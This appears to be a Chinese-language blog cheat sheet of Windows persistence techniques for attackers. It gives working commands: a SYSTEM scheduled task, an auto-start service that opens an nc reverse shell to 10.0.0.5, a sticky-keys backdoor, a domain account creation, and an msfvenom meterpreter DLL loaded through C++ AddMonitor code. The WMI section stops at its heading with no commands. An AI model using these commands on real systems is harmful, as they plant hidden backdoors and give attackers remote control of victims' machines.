持久化

  1. 用于持久性的 DLL 代理
  2. 计划任务
  3. 服务执行
  4. 粘滞键
  5. 创建账户
  6. 添加监视器
  7. 滥用 Windows 管理工具

用于持久性的 DLL 代理

就是dll劫持

计划任务

创建一个新的计划任务,每分钟启动 shell.cmd:

1
schtasks /create /sc minute /mo 1 /tn "eviltask" /tr C:\tools\shell.cmd /ru "SYSTEM"

服务执行

1
2
3
C:\> sc create evilsvc binpath= "c:\tools\nc 10.0.0.5 443 -e cmd.exe" start= "auto" obj= "LocalSystem" password= ""
[SC] CreateService SUCCESS
C:\> sc start evilsvc

粘滞键

将原来的 sethc.exe 替换为 cmd.exe 并重命名。您可能需要首先将 sethc.exe 所有者更改为自己,因为 TrustedIntaller 可能会给您带来困难:

在登录屏幕上按 5 次 Shift 键以调用后门:

创建账户

net user test test123 /add /domain

添加监视器

1
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=443 -f dll > evil64.dll

编写并编译一个简单的 C++ 代码来注册监视器端口:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include "stdafx.h"
#include "Windows.h"

int main() {
MONITOR_INFO_2 monitorInfo;
TCHAR env[12] = TEXT("Windows x64");
TCHAR name[12] = TEXT("evilMonitor");
TCHAR dll[12] = TEXT("evil64.dll");
monitorInfo.pName = name;
monitorInfo.pEnvironment = env;
monitorInfo.pDLLName = dll;
AddMonitor(NULL, 2, (LPBYTE)&monitorInfo);
return 0;
}

将evil64.dll移至%systemroot%并执行编译后的monitor.cpp

滥用 Windows 管理工具

WMI 事件由 3 个关键部分组成:

事件过滤器 - 系统将侦听的条件(即创建新进程、添加新磁盘等)

事件消费者 - 消费者可以在触发事件过滤器时执行操作(即运行程序、记录到日志文件、执行脚本等)

过滤器到消费者的绑定 - 将事件过滤器和事件消费者结合在一起以便调用事件消费者的粘合物质。

WMI 事件既可以被攻击者使用(持久性,即在系统启动时启动有效负载),也可以被防御者使用(在其创建时杀死进程evil.exe)。

创建WMI __EVENTFILTER,WMI __EVENTCONSUMERWMI __FILTERTOCONSUMERBINDING:


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 jaytp@qq.com

💰

×

Help us with donation